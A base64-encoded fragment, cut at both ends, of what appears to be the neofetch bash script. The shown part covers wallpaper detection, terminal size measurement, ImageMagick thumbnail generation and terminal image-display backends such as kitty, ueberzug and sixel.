YXRoICIkaW1hZ2Vfc291cmNlIikiCgogICAgICAgICAgICBpZiBbWyAtZCAiJGltYWdlX3NvdXJjZSIgXV07IHRoZW4KICAgICAgICAgICAgICAgIHNob3B0IC1zIG51bGxnbG9iCiAgICAgICAgICAgICAgICBmaWxlcz0oIiR7aW1hZ2Vfc291cmNlJS99Ii8qLntwbmcsanBnLGpwZWcsanBlLGdpZixzdmd9KQogICAgICAgICAgICAgICAgc2hvcHQgLXUgbnVsbGdsb2IKICAgICAgICAgICAgICAgIGltYWdlPSIke2ZpbGVzW1JBTkRPTSAlICR7I2ZpbGVzW0BdfV19IgoKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgaW1hZ2U9IiRpbWFnZV9zb3VyY2UiCiAgICAgICAgICAgIGZpCiAgICAgICAgOzsKICAgIGVzYWMKCiAgICBlcnIgIkltYWdlOiBVc2luZyBpbWFnZSAnJGltYWdlJyIKfQoKZ2V0X3dhbGxwYXBlcigpIHsKICAgIGNhc2UgJG9zIGluCiAgICAgICAgIk1hYyBPUyBYInwibWFjT1MiKQogICAgICAgICAgICBpbWFnZT0iJChvc2FzY3JpcHQgPDxFTkQKICAgICAgICAgICAgICAgICAgICAgdGVsbCBhcHBsaWNhdGlvbiAiU3lzdGVtIEV2ZW50cyIgdG8gcGljdHVyZSBvZiBjdXJyZW50IGRlc2t0b3AKRU5ECikiCiAgICAgICAgOzsKCiAgICAgICAgIldpbmRvd3MiKQogICAgICAgICAgICBjYXNlICRkaXN0cm8gaW4KICAgICAgICAgICAgICAgICJXaW5kb3dzIFhQIikKICAgICAgICAgICAgICAgICAgICBpbWFnZT0iL2MvRG9jdW1lbnRzIGFuZCBTZXR0aW5ncy8ke1VTRVJ9IgogICAgICAgICAgICAgICAgICAgIGltYWdlKz0iL0xvY2FsIFNldHRpbmdzL0FwcGxpY2F0aW9uIERhdGEvTWljcm9zb2Z0L1dhbGxwYXBlcjEuYm1wIgoKICAgICAgICAgICAgICAgICAgICBbWyAiJGtlcm5lbF9uYW1lIiA9PSAqQ1lHV0lOKiBdXSAmJiBpbWFnZT0iL2N5Z2RyaXZlJHtpbWFnZX0iCiAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICJXaW5kb3dzIiopCiAgICAgICAgICAgICAgICAgICAgaW1hZ2U9IiR7QVBQREFUQX0vTWljcm9zb2Z0L1dpbmRvd3MvVGhlbWVzL1RyYW5zY29kZWRXYWxscGFwZXIuanBnIgogICAgICAgICAgICAgICAgOzsKICAgICAgICAgICAgZXNhYwogICAgICAgIDs7CgogICAgICAgICopCiAgICAgICAgICAgICMgR2V0IERFIGlmIHVzZXIgaGFzIGRpc2FibGVkIHRoZSBmdW5jdGlvbi4KICAgICAgICAgICAgKChkZV9ydW4gIT0gMSkpICYmIGdldF9kZQoKICAgICAgICAgICAgdHlwZSAtcCB3YWwgPi9kZXYvbnVsbCAmJiBbWyAtZiAiJHtIT01FfS8uY2FjaGUvd2FsL3dhbCIgXV0gJiYgXAogICAgICAgICAgICAgICAgeyBpbWFnZT0iJCg8ICIke0hPTUV9Ly5jYWNoZS93YWwvd2FsIikiOyByZXR1cm47IH0KCiAgICAgICAgICAgIGNhc2UgJGRlIGluCiAgICAgICAgICAgICAgICAiTUFURSIqKQogICAgICAgICAgICAgICAgICAgIGltYWdlPSIkKGdzZXR0aW5ncyBnZXQgb3JnLm1hdGUuYmFja2dyb3VuZCBwaWN0dXJlLWZpbGVuYW1lKSIKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgIlhmY2UiKikKICAgICAgICAgICAgICAgICAgICBpbWFnZT0iJCh4ZmNvbmYtcXVlcnkgLWMgeGZjZTQtZGVza3RvcCAtcCBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIi9iYWNrZHJvcC9zY3JlZW4wL21vbml0b3IwL3dvcmtzcGFjZTAvbGFzdC1pbWFnZSIpIgogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAiQ2lubmFtb24iKikKICAgICAgICAgICAgICAgICAgICBpbWFnZT0iJChnc2V0dGluZ3MgZ2V0IG9yZy5jaW5uYW1vbi5kZXNrdG9wLmJhY2tncm91bmQgcGljdHVyZS11cmkpIgogICAgICAgICAgICAgICAgICAgIGltYWdlPSIkKGRlY29kZV91cmwgIiRpbWFnZSIpIgogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAiR05PTUUiKikKICAgICAgICAgICAgICAgICAgICBpbWFnZT0iJChnc2V0dGluZ3MgZ2V0IG9yZy5nbm9tZS5kZXNrdG9wLmJhY2tncm91bmQgcGljdHVyZS11cmkpIgogICAgICAgICAgICAgICAgICAgIGltYWdlPSIkKGRlY29kZV91cmwgIiRpbWFnZSIpIgogICAgICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICAgICAiUGxhc21hIiopCiAgICAgICAgICAgICAgICAgICAgaW1hZ2U9JFhER19DT05GSUdfSE9NRS9wbGFzbWEtb3JnLmtkZS5wbGFzbWEuZGVza3RvcC1hcHBsZXRzcmMKICAgICAgICAgICAgICAgICAgICBpbWFnZT0kKGF3ayAtRiAnPScgJyQxID09ICJJbWFnZSIgeyBwcmludCAkMiB9JyAiJGltYWdlIikKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgIkxYUXQiKikKICAgICAgICAgICAgICAgICAgICBpbWFnZT0iJFhER19DT05GSUdfSE9NRS9wY21hbmZtLXF0L2x4cXQvc2V0dGluZ3MuY29uZiIKICAgICAgICAgICAgICAgICAgICBpbWFnZT0iJChhd2sgLUYgJz0nICckMSA9PSAiV2FsbHBhcGVyIiB7cHJpbnQgJDJ9JyAiJGltYWdlIikiCiAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICopCiAgICAgICAgICAgICAgICAgICAgaWYgdHlwZSAtcCBmZWggPi9kZXYvbnVsbCAmJiBbWyAtZiAiJHtIT01FfS8uZmVoYmciIF1dOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGltYWdlPSIkKGF3ayAtRlwnICcvZmVoLyB7cHJpbnRmICQoTkYtMSl9JyAiJHtIT01FfS8uZmVoYmciKSIKCiAgICAgICAgICAgICAgICAgICAgZWxpZiB0eXBlIC1wIHNldHJvb3QgPi9kZXYvbnVsbCAmJiBcCiAgICAgICAgICAgICAgICAgICAgICAgICBbWyAtZiAiJHtYREdfQ09ORklHX0hPTUV9L3NldHJvb3QvLnNldHJvb3QtcmVzdG9yZSIgXV07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgaW1hZ2U9IiQoYXdrIC1GXCcgJy9zZXRyb290LyB7cHJpbnRmICQoTkYtMSl9JyBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIke1hER19DT05GSUdfSE9NRX0vc2V0cm9vdC8uc2V0cm9vdC1yZXN0b3JlIikiCgogICAgICAgICAgICAgICAgICAgIGVsaWYgdHlwZSAtcCBuaXRyb2dlbiA+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGltYWdlPSIkKGF3ayAtRic9JyAnL2ZpbGUvIHtwcmludGYgJDI7ZXhpdDt9JyBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIke1hER19DT05GSUdfSE9NRX0vbml0cm9nZW4vYmctc2F2ZWQuY2ZnIikiCgogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgaW1hZ2U9IiQoZ3NldHRpbmdzIGdldCBvcmcuZ25vbWUuZGVza3RvcC5iYWNrZ3JvdW5kIHBpY3R1cmUtdXJpKSIKICAgICAgICAgICAgICAgICAgICAgICAgaW1hZ2U9IiQoZGVjb2RlX3VybCAiJGltYWdlIikiCiAgICAgICAgICAgICAgICAgICAgZmkKICAgICAgICAgICAgICAgIDs7CiAgICAgICAgICAgIGVzYWMKCiAgICAgICAgICAgICMgU3RyaXAgdW4tbmVlZGVkIGluZm8gZnJvbSB0aGUgcGF0aC4KICAgICAgICAgICAgaW1hZ2U9IiR7aW1hZ2UvZmlsZTpcL1wvfSIKICAgICAgICAgICAgaW1hZ2U9IiQodHJpbV9xdW90ZXMgIiRpbWFnZSIpIgogICAgICAgIDs7CiAgICBlc2FjCgogICAgIyBJZiBpbWFnZSBpcyBhbiB4bWwgZmlsZSwgZG9uJ3QgdXNlIGl0LgogICAgW1sgIiR7aW1hZ2UvKlwuL30iID09ICJ4bWwiIF1dICYmIGltYWdlPSIiCn0KCmdldF93M21faW1nX3BhdGgoKSB7CiAgICAjIEZpbmQgdzNtLWltZyBwYXRoLgogICAgc2hvcHQgLXMgbnVsbGdsb2IKICAgIHczbV9wYXRocz0oey91c3Ive2xvY2FsLyx9LH4vLm5peC1wcm9maWxlL317bGliLGxpYmV4ZWMsbGliNjQsbGliZXhlYzY0fS93M20vdzNtaSopCiAgICBzaG9wdCAtdSBudWxsZ2xvYgoKICAgIFtbIC14ICIke3czbV9wYXRoc1swXX0iIF1dICYmIFwKICAgICAgICB7IHczbV9pbWdfcGF0aD0iJHt3M21fcGF0aHNbMF19IjsgcmV0dXJuOyB9CgogICAgZXJyICJJbWFnZTogdzNtLWltZyB3YXNuJ3QgZm91bmQgb24geW91ciBzeXN0ZW0iCn0KCmdldF93aW5kb3dfc2l6ZSgpIHsKICAgICMgVGhpcyBmdW5jdGlvbnMgZ2V0cyB0aGUgY3VycmVudCB3aW5kb3cgc2l6ZSBpbgogICAgIyBwaXhlbHMuCiAgICAjCiAgICAjIFdlIGZpcnN0IHRyeSB0byB1c2UgdGhlIGVzY2FwZSBzZXF1ZW5jZSAiXDAzM1sxNHQiCiAgICAjIHRvIGdldCB0aGUgdGVybWluYWwgd2luZG93IHNpemUgaW4gcGl4ZWxzLiBJZiB0aGlzCiAgICAjIGZhaWxzIHdlIHRoZW4gZmFsbGJhY2sgdG8gdXNpbmcgInhkb3Rvb2wiIG9yIG90aGVyCiAgICAjIHByb2dyYW1zLgoKICAgICMgVG11eCBoYXMgYSBzcGVjaWFsIHdheSBvZiByZWFkaW5nIGVzY2FwZSBzZXF1ZW5jZXMKICAgICMgc28gd2UgaGF2ZSB0byB1c2UgYSBzbGlnaHRseSBkaWZmZXJlbnQgc2VxdWVuY2UgdG8KICAgICMgZ2V0IHRoZSB0ZXJtaW5hbCBzaXplLgogICAgaWYgW1sgIiRpbWFnZV9iYWNrZW5kIiA9PSAidHljYXQiIF1dOyB0aGVuCiAgICAgICAgcHJpbnRmICclYicgJ1xlfXFzXDAwMCcKCiAgICBlbGlmIFtbIC16ICRWVEVfVkVSU0lPTiBdXTsgdGhlbgogICAgICAgIGNhc2UgJHtUTVVYOi1udWxsfSBpbgogICAgICAgICAgICAibnVsbCIpIHByaW50ZiAnJWInICdcZVsxNHQnIDs7CiAgICAgICAgICAgICopICAgICAgcHJpbnRmICclYicgJ1xlUHRtdXg7XGVcZVsxNHRcZVxcICcgOzsKICAgICAgICBlc2FjCiAgICBmaQoKICAgICMgVGhlIGVzY2FwZSBjb2RlcyBhYm92ZSBwcmludCB0aGUgZGVzaXJlZCBvdXRwdXQgYXMKICAgICMgdXNlciBpbnB1dCBzbyB3ZSBoYXZlIHRvIHVzZSByZWFkIHRvIHN0b3JlIHRoZSBvdXQKICAgICMgLXB1dCBhcyBhIHZhcmlhYmxlLgogICAgIyBUaGUgMSBzZWNvbmQgdGltZW91dCBpcyByZXF1aXJlZCBmb3Igb2xkZXIgYmFzaAogICAgIwogICAgIyBGYWxzZSBwb3NpdGl2ZS4KICAgICMgc2hlbGxjaGVjayBkaXNhYmxlPTIxNDEKICAgIGNhc2UgJGJhc2hfdmVyc2lvbiBpbgogICAgICAgIDR8NSkgSUZTPSc7dCcgcmVhZCAtZCB0IC10IDAuMDUgLXNyYSB0ZXJtX3NpemUgOzsKICAgICAgICAqKSAgIElGUz0nO3QnIHJlYWQgLWQgdCAtdCAxIC1zcmEgdGVybV9zaXplIDs7CiAgICBlc2FjCiAgICB1bnNldCBJRlMKCiAgICAjIFNwbGl0IHRoZSBzdHJpbmcgaW50byBoZWlnaHQvd2lkdGguCiAgICBpZiBbWyAiJGltYWdlX2JhY2tlbmQiID09ICJ0eWNhdCIgXV07IHRoZW4KICAgICAgICB0ZXJtX3dpZHRoPSIkKCh0ZXJtX3NpemVbMl0gKiB0ZXJtX3NpemVbMF0pKSIKICAgICAgICB0ZXJtX2hlaWdodD0iJCgodGVybV9zaXplWzNdICogdGVybV9zaXplWzFdKSkiCgogICAgZWxzZQogICAgICAgIHRlcm1faGVpZ2h0PSIke3Rlcm1fc2l6ZVsxXX0iCiAgICAgICAgdGVybV93aWR0aD0iJHt0ZXJtX3NpemVbMl19IgogICAgZmkKCiAgICAjIEdldCB0ZXJtaW5hbCB3aWR0aC9oZWlnaHQuCiAgICBpZiAoKCAiJHt0ZXJtX3dpZHRoOi0wfSIgPCA1MCApKSAmJiBbWyAiJERJU1BMQVkiICYmICRvcyAhPSAiTWFjIE9TIFgiICYmICRvcyAhPSAibWFjT1MiIF1dOyB0aGVuCiAgICAgICAgaWYgdHlwZSAtcCB4ZG90b29sICY+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgIElGUz0kJ1xuJyByZWFkIC1kICIiIC1yYSB3aW4gXAogICAgICAgICAgICAgICAgPDw8ICIkKHhkb3Rvb2wgZ2V0YWN0aXZld2luZG93IGdldHdpbmRvd2dlb21ldHJ5IC0tc2hlbGwgJTEpIgogICAgICAgICAgICB0ZXJtX3dpZHRoPSIke3dpblszXS9XSURUSD19IgogICAgICAgICAgICB0ZXJtX2hlaWdodD0iJHt3aW5bNF0vSEVJR0hUPX0iCgogICAgICAgIGVsaWYgdHlwZSAtcCB4d2luaW5mbyAmPi9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAjIEdldCB0aGUgZm9jdXNlZCB3aW5kb3cncyBJRC4KICAgICAgICAgICAgaWYgdHlwZSAtcCB4ZG8gJj4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGN1cnJlbnRfd2luZG93PSIkKHhkbyBpZCkiCgogICAgICAgICAgICBlbGlmIHR5cGUgLXAgeHByb3AgJj4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGN1cnJlbnRfd2luZG93PSIkKHhwcm9wIC1yb290IF9ORVRfQUNUSVZFX1dJTkRPVykiCiAgICAgICAgICAgICAgICBjdXJyZW50X3dpbmRvdz0iJHtjdXJyZW50X3dpbmRvdyMjKiB9IgoKICAgICAgICAgICAgZWxpZiB0eXBlIC1wIHhkcHlpbmZvICY+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBjdXJyZW50X3dpbmRvdz0iJCh4ZHB5aW5mbyB8IGdyZXAgLUYgImZvY3VzOiIpIgogICAgICAgICAgICAgICAgY3VycmVudF93aW5kb3c9IiR7Y3VycmVudF93aW5kb3cvKndpbmRvdyB9IgogICAgICAgICAgICAgICAgY3VycmVudF93aW5kb3c9IiR7Y3VycmVudF93aW5kb3cvLCp9IgogICAgICAgICAgICBmaQoKICAgICAgICAgICAgIyBJZiB0aGUgSUQgd2FzIGZvdW5kIGdldCB0aGUgd2luZG93IHNpemUuCiAgICAgICAgICAgIGlmIFtbICIkY3VycmVudF93aW5kb3ciIF1dOyB0aGVuCiAgICAgICAgICAgICAgICB0ZXJtX3NpemU9KCIkKHh3aW5pbmZvIC1pZCAiJGN1cnJlbnRfd2luZG93IikiKQogICAgICAgICAgICAgICAgdGVybV93aWR0aD0iJHt0ZXJtX3NpemVbMF0jKldpZHRoOiB9IgogICAgICAgICAgICAgICAgdGVybV93aWR0aD0iJHt0ZXJtX3dpZHRoLyQnXG4nKn0iCiAgICAgICAgICAgICAgICB0ZXJtX2hlaWdodD0iJHt0ZXJtX3NpemVbMF0vKkhlaWdodDogfSIKICAgICAgICAgICAgICAgIHRlcm1faGVpZ2h0PSIke3Rlcm1faGVpZ2h0LyQnXG4nKn0iCiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKICAgIGZpCgogICAgdGVybV93aWR0aD0iJHt0ZXJtX3dpZHRoOi0wfSIKfQoKCmdldF90ZXJtX3NpemUoKSB7CiAgICAjIEdldCB0aGUgdGVybWluYWwgc2l6ZSBpbiBjZWxscy4KICAgIHJlYWQgLXIgbGluZXMgY29sdW1ucyA8PDwgIiQoc3R0eSBzaXplKSIKCiAgICAjIENhbGN1bGF0ZSBmb250IHNpemUuCiAgICBmb250X3dpZHRoPSIkKCh0ZXJtX3dpZHRoIC8gY29sdW1ucykpIgogICAgZm9udF9oZWlnaHQ9IiQoKHRlcm1faGVpZ2h0IC8gbGluZXMpKSIKfQoKZ2V0X2ltYWdlX3NpemUoKSB7CiAgICAjIFRoaXMgZnVuY3Rpb25zIGRldGVybWluZXMgdGhlIHNpemUgdG8gbWFrZSB0aGUgdGh1bWJuYWlsIGltYWdlLgogICAgZ2V0X3Rlcm1fc2l6ZQoKICAgIGNhc2UgJGltYWdlX3NpemUgaW4KICAgICAgICAiYXV0byIpCiAgICAgICAgICAgIGltYWdlX3NpemU9IiQoKGNvbHVtbnMgKiBmb250X3dpZHRoIC8gMikpIgogICAgICAgICAgICB0ZXJtX2hlaWdodD0iJCgodGVybV9oZWlnaHQgLSB0ZXJtX2hlaWdodCAvIDQpKSIKCiAgICAgICAgICAgICgodGVybV9oZWlnaHQgPCBpbWFnZV9zaXplKSkgJiYgXAogICAgICAgICAgICAgICAgaW1hZ2Vfc2l6ZT0iJHRlcm1faGVpZ2h0IgogICAgICAgIDs7CgogICAgICAgICoiJSIpCiAgICAgICAgICAgIHBlcmNlbnQ9IiR7aW1hZ2Vfc2l6ZS9cJX0iCiAgICAgICAgICAgIGltYWdlX3NpemU9IiQoKHBlcmNlbnQgKiB0ZXJtX3dpZHRoIC8gMTAwKSkiCgogICAgICAgICAgICAoKChwZXJjZW50ICogdGVybV9oZWlnaHQgLyA1MCkgPCBpbWFnZV9zaXplKSkgJiYgXAogICAgICAgICAgICAgICAgaW1hZ2Vfc2l6ZT0iJCgocGVyY2VudCAqIHRlcm1faGVpZ2h0IC8gMTAwKSkiCiAgICAgICAgOzsKCiAgICAgICAgIm5vbmUiKQogICAgICAgICAgICAjIEdldCBpbWFnZSBzaXplIHNvIHRoYXQgd2UgY2FuIGRvIGEgYmV0dGVyIGNyb3AuCiAgICAgICAgICAgIHJlYWQgLXIgd2lkdGggaGVpZ2h0IDw8PCAiJChpZGVudGlmeSAtZm9ybWF0ICIldyAlaCIgIiRpbWFnZSIpIgoKICAgICAgICAgICAgd2hpbGUgKCh3aWR0aCA+PSAodGVybV93aWR0aCAvIDIpIHx8IGhlaWdodCA+PSB0ZXJtX2hlaWdodCkpOyBkbwogICAgICAgICAgICAgICAgKCh3aWR0aD13aWR0aC8yLGhlaWdodD1oZWlnaHQvMikpCiAgICAgICAgICAgIGRvbmUKCiAgICAgICAgICAgIGNyb3BfbW9kZT0ibm9uZSIKICAgICAgICA7OwoKICAgICAgICAqKSAgaW1hZ2Vfc2l6ZT0iJHtpbWFnZV9zaXplL3B4fSIgOzsKICAgIGVzYWMKCiAgICAjIENoZWNrIGZvciB0ZXJtaW5hbCBwYWRkaW5nLgogICAgW1sgIiRpbWFnZV9iYWNrZW5kIiA9PSAidzNtIiBdXSAmJiB0ZXJtX3BhZGRpbmcKCiAgICB3aWR0aD0iJHt3aWR0aDotJGltYWdlX3NpemV9IgogICAgaGVpZ2h0PSIke2hlaWdodDotJGltYWdlX3NpemV9IgogICAgdGV4dF9wYWRkaW5nPSIkKCgod2lkdGggKyBwYWRkaW5nICsgeG9mZnNldCkgLyBmb250X3dpZHRoICsgZ2FwKSkiCn0KCm1ha2VfdGh1bWJuYWlsKCkgewogICAgIyBOYW1lIHRoZSB0aHVtYm5haWwgdXNpbmcgdmFyaWFibGVzIHNvIHdlIGNhbgogICAgIyB1c2UgaXQgbGF0ZXIuCiAgICBpbWFnZV9uYW1lPSIke2Nyb3BfbW9kZX0tJHtjcm9wX29mZnNldH0tJHt3aWR0aH0tJHtoZWlnaHR9LSR7aW1hZ2UvL1wvfSIKCiAgICAjIEhhbmRsZSBmaWxlIGV4dGVuc2lvbnMuCiAgICBjYXNlICR7aW1hZ2UjIyoufSBpbgogICAgICAgICJlcHMifCJwZGYifCJzdmcifCJnaWYifCJwbmciKQogICAgICAgICAgICBpbWFnZV9uYW1lKz0iLnBuZyIgOzsKICAgICAgICAqKSAgaW1hZ2VfbmFtZSs9Ii5qcGciIDs7CiAgICBlc2FjCgogICAgIyBDcmVhdGUgdGhlIHRodW1ibmFpbCBkaXIgaWYgaXQgZG9lc24ndCBleGlzdC4KICAgIG1rZGlyIC1wICIke3RodW1ibmFpbF9kaXI6PSR7WERHX0NBQ0hFX0hPTUU6LSR7SE9NRX0vLmNhY2hlfS90aHVtYm5haWxzL25lb2ZldGNofSIKCiAgICBpZiBbWyAhIC1mICIke3RodW1ibmFpbF9kaXJ9LyR7aW1hZ2VfbmFtZX0iIF1dOyB0aGVuCiAgICAgICAgIyBHZXQgaW1hZ2Ugc2l6ZSBzbyB0aGF0IHdlIGNhbiBkbyBhIGJldHRlciBjcm9wLgogICAgICAgIFtbIC16ICIkc2l6ZSIgXV0gJiYgewogICAgICAgICAgICByZWFkIC1yIG9nX3dpZHRoIG9nX2hlaWdodCA8PDwgIiQoaWRlbnRpZnkgLWZvcm1hdCAiJXcgJWgiICIkaW1hZ2UiKSIKICAgICAgICAgICAgKChvZ19oZWlnaHQgPiBvZ193aWR0aCkpICYmIHNpemU9IiRvZ193aWR0aCIgfHwgc2l6ZT0iJG9nX2hlaWdodCIKICAgICAgICB9CgogICAgICAgIGNhc2UgJGNyb3BfbW9kZSBpbgogICAgICAgICAgICAiZml0IikKICAgICAgICAgICAgICAgIGM9IiQoY29udmVydCAiJGltYWdlIiBcCiAgICAgICAgICAgICAgICAgICAgLWNvbG9yc3BhY2Ugc3JnYiBcCiAgICAgICAgICAgICAgICAgICAgLWZvcm1hdCAiJVtwaXhlbDpwezAsMH1dIiBpbmZvOikiCgogICAgICAgICAgICAgICAgY29udmVydCBcCiAgICAgICAgICAgICAgICAgICAgLWJhY2tncm91bmQgbm9uZSBcCiAgICAgICAgICAgICAgICAgICAgIiRpbWFnZSIgXAogICAgICAgICAgICAgICAgICAgIC10cmltICtyZXBhZ2UgXAogICAgICAgICAgICAgICAgICAgIC1ncmF2aXR5IHNvdXRoIFwKICAgICAgICAgICAgICAgICAgICAtYmFja2dyb3VuZCAiJGMiIFwKICAgICAgICAgICAgICAgICAgICAtZXh0ZW50ICIke3NpemV9eCR7c2l6ZX0iIFwKICAgICAgICAgICAgICAgICAgICAtc2NhbGUgIiR7d2lkdGh9eCR7aGVpZ2h0fSIgXAogICAgICAgICAgICAgICAgICAgICIke3RodW1ibmFpbF9kaXJ9LyR7aW1hZ2VfbmFtZX0iCiAgICAgICAgICAgIDs7CgogICAgICAgICAgICAiZmlsbCIpCiAgICAgICAgICAgICAgICBjb252ZXJ0IFwKICAgICAgICAgICAgICAgICAgICAtYmFja2dyb3VuZCBub25lIFwKICAgICAgICAgICAgICAgICAgICAiJGltYWdlIiBcCiAgICAgICAgICAgICAgICAgICAgLXRyaW0gK3JlcGFnZSBcCiAgICAgICAgICAgICAgICAgICAgLXNjYWxlICIke3dpZHRofXgke2hlaWdodH1eIiBcCiAgICAgICAgICAgICAgICAgICAgLWV4dGVudCAiJHt3aWR0aH14JHtoZWlnaHR9IiBcCiAgICAgICAgICAgICAgICAgICAgIiR7dGh1bWJuYWlsX2Rpcn0vJHtpbWFnZV9uYW1lfSIKICAgICAgICAgICAgOzsKCiAgICAgICAgICAgICJub25lIikKICAgICAgICAgICAgICAgIGNwICIkaW1hZ2UiICIke3RodW1ibmFpbF9kaXJ9LyR7aW1hZ2VfbmFtZX0iCiAgICAgICAgICAgIDs7CgogICAgICAgICAgICAqKQogICAgICAgICAgICAgICAgY29udmVydCBcCiAgICAgICAgICAgICAgICAgICAgLWJhY2tncm91bmQgbm9uZSBcCiAgICAgICAgICAgICAgICAgICAgIiRpbWFnZSIgXAogICAgICAgICAgICAgICAgICAgIC1zdHJpcCBcCiAgICAgICAgICAgICAgICAgICAgLWdyYXZpdHkgIiRjcm9wX29mZnNldCIgXAogICAgICAgICAgICAgICAgICAgIC1jcm9wICIke3NpemV9eCR7c2l6ZX0rMCswIiBcCiAgICAgICAgICAgICAgICAgICAgLXNjYWxlICIke3dpZHRofXgke2hlaWdodH0iIFwKICAgICAgICAgICAgICAgICAgICAiJHt0aHVtYm5haWxfZGlyfS8ke2ltYWdlX25hbWV9IgogICAgICAgICAgICA7OwogICAgICAgIGVzYWMKICAgIGZpCgogICAgIyBUaGUgZmluYWwgaW1hZ2UuCiAgICBpbWFnZT0iJHt0aHVtYm5haWxfZGlyfS8ke2ltYWdlX25hbWV9Igp9CgpkaXNwbGF5X2ltYWdlKCkgewogICAgY2FzZSAkaW1hZ2VfYmFja2VuZCBpbgogICAgICAgICJjYWNhIikKICAgICAgICAgICAgaW1nMnR4dCBcCiAgICAgICAgICAgICAgICAtVyAiJCgod2lkdGggLyBmb250X3dpZHRoKSkiIFwKICAgICAgICAgICAgICAgIC1IICIkKChoZWlnaHQgLyBmb250X2hlaWdodCkpIiBcCiAgICAgICAgICAgICAgICAtLWdhbW1hPTAuNiBcCiAgICAgICAgICAgICIkaW1hZ2UiCiAgICAgICAgOzsKCgogICAgICAgICJ1ZWJlcnp1ZyIpCiAgICAgICAgICAgIGlmIFsgIiR3YWl0IiA9IHRydWUgXTt0aGVuCiAgICAgICAgICAgICAgICB3YWl0PWZhbHNlOwogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB1ZWJlcnp1ZyBsYXllciAtLXBhcnNlciBiYXNoIDA8IDwoCiAgICAgICAgICAgICAgICAgICAgZGVjbGFyZSAtQXAgQUREPShcCiAgICAgICAgICAgICAgICAgICAgICAgIFthY3Rpb25dPSJhZGQiXAogICAgICAgICAgICAgICAgICAgICAgICBbaWRlbnRpZmllcl09Im5lb2ZldGNoIlwKICAgICAgICAgICAgICAgICAgICAgICAgW3hdPSR4b2Zmc2V0IFt5XT0keW9mZnNldFwKICAgICAgICAgICAgICAgICAgICAgICAgW3BhdGhdPSRpbWFnZVwKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgcmVhZCAtcnMKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICAiY2F0aW1nIikKICAgICAgICAgICAgY2F0aW1nIC13ICIkKCh3aWR0aCpjYXRpbWdfc2l6ZSAvIGZvbnRfd2lkdGgpKSIgLXIgIiRjYXRpbWdfc2l6ZSIgIiRpbWFnZSIKICAgICAgICA7OwoKICAgICAgICAiY2hhZmEiKQogICAgICAgICAgICBjaGFmYSAtLXN0cmV0Y2ggLS1zaXplPSIkKCh3aWR0aCAvIGZvbnRfd2lkdGgpKXgkKChoZWlnaHQgLyBmb250X2hlaWdodCkpIiAiJGltYWdlIgogICAgICAgIDs7CgogICAgICAgICJqcDJhIikKICAgICAgICAgICAganAyYSBcCiAgICAgICAgICAgICAgICAtLWNvbG9ycyBcCiAgICAgICAgICAgICAgICAtLXdpZHRoPSIkKCh3aWR0aCAvIGZvbnRfd2lkdGgpKSIgXAogICAgICAgICAgICAgICAgLS1oZWlnaHQ9IiQoKGhlaWdodCAvIGZvbnRfaGVpZ2h0KSkiIFwKICAgICAgICAgICAgIiRpbWFnZSIKICAgICAgICA7OwoKICAgICAgICAia2l0dHkiKQogICAgICAgICAgICBraXR0eSAra2l0dGVuIGljYXQgXAogICAgICAgICAgICAgICAgLS1hbGlnbiBsZWZ0IFwKICAgICAgICAgICAgICAgIC0tcGxhY2UgIiQoKHdpZHRoL2ZvbnRfd2lkdGgpKXgkKChoZWlnaHQvZm9udF9oZWlnaHQpKUAke3hvZmZzZXR9eCR7eW9mZnNldH0iIFwKICAgICAgICAgICAgIiRpbWFnZSIKICAgICAgICA7OwoKICAgICAgICAicG90IikKICAgICAgICAgICAgcG90IFwKICAgICAgICAgICAgICAgICIkaW1hZ2UiIFwKICAgICAgICAgICAgICAgIC0tc2l6ZT0iJCgod2lkdGggLyBmb250X3dpZHRoKSl4JCgoaGVpZ2h0IC8gZm9udF9oZWlnaHQpKSIKICAgICAgICA7OwoKICAgICAgICAicGl4dGVybSIpCiAgICAgICAgICAgIHBpeHRlcm0gXAogICAgICAgICAgICAgICAgLXRjICIkKCh3aWR0aCAvIGZvbnRfd2lkdGgpKSIgXAogICAgICAgICAgICAgICAgLXRyICIkKChoZWlnaHQgLyBmb250X2hlaWdodCkpIiBcCiAgICAgICAgICAgICIkaW1hZ2UiCiAgICAgICAgOzsKCiAgICAgICAgInNpeGVsIikKICAgICAgICAgICAgaW1nMnNpeGVsIFwKICAgICAgICAgICAgICAgIC13ICIkd2lkdGgiIFwKICAgICAgICAgICAgICAgIC1oICIkaGVpZ2h0IiBcCiAgICAgICAgICAgICIkaW1hZ2UiCiAgICAgICAgOzsKCiAgICAgICAgInRlcm1waXgiKQogICAgICAgICAgICB0ZXJtcGl4IFwKICAgICAgICAgICAgICAgIC0td2lkdGggIiQoKHdpZHRoIC8gZm9udF93aWR0aCkpIiBcCiAgICAgICAgICAgICAgICAtLWhlaWdodCAiJCgoaGVpZ2h0IC8gZm9udF9oZWlnaHQpKSIgXAogICAgICAgICAgICAiJGltYWdlIgogICAgICAgIDs7CgogICAgICAgICJpdGVybTIiKQogICAgICAgICAgICBwcmludGYgLXYgaXRlcm1fY21kICdcZV0xMzM3O0ZpbGU9d2lkdGg9JXNweDtoZWlna